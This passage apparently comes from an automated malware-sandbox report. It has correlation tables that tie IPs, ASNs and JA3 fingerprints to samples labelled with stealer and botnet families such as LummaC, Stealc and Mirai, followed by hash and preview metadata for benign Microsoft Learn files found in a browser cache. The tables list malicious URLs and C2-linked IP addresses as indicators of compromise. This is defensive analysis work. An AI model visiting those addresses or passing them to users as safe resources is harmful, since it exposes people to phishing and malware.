	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	Delivery_Notification_00116030.doc.js	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	PO-000041492.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	21.45.10.209
	arm.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	20.124.214.104
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	21.107.60.201
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.229.229.121
MICROSOFT-CORP-MSN-AS-BLOCKUS	PO-000041492.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	arm7.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	21.45.10.209
	arm.nn-20241120-0508.elf	Get hash	malicious	Mirai, Okiru	Browse	20.124.214.104
	meow.arm7.elf	Get hash	malicious	Unknown	Browse	21.107.60.201
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.229.229.121
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	PO-000041492.xls	Get hash	malicious	Unknown	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	qlI3ReINCV.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	https://www.google.co.ao/url?Obdy=ObM8wNGVUva21gnTm3qS&cgsr=7knoOQwChvIkzgfn0TSm&sa=t&wofc=nQYL5DF797O1da77PTBQ&url=amp%2Fprimer-distrito-amvt.org%2F.r%2FiO8EME-SUREDANNaW50ZXJtb2RhbC5qYXhAc2VhYm9hcmRtYXJpbmUuY29t	Get hash	malicious	Unknown	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.42 20.109.210.53 4.245.163.56 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	Towered.vbs	Get hash	malicious	FormBook, GuLoader	Browse	40.113.103.199
	quote001.vbs	Get hash	malicious	GuLoader	Browse	40.113.103.199
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.103.199
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	40.113.103.199
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	40.113.103.199
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	40.113.103.199
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.113.103.199
a0e9f5d64349fb13191bc781f81f42e1	PO-000041492.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	high, very likely benign file
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" 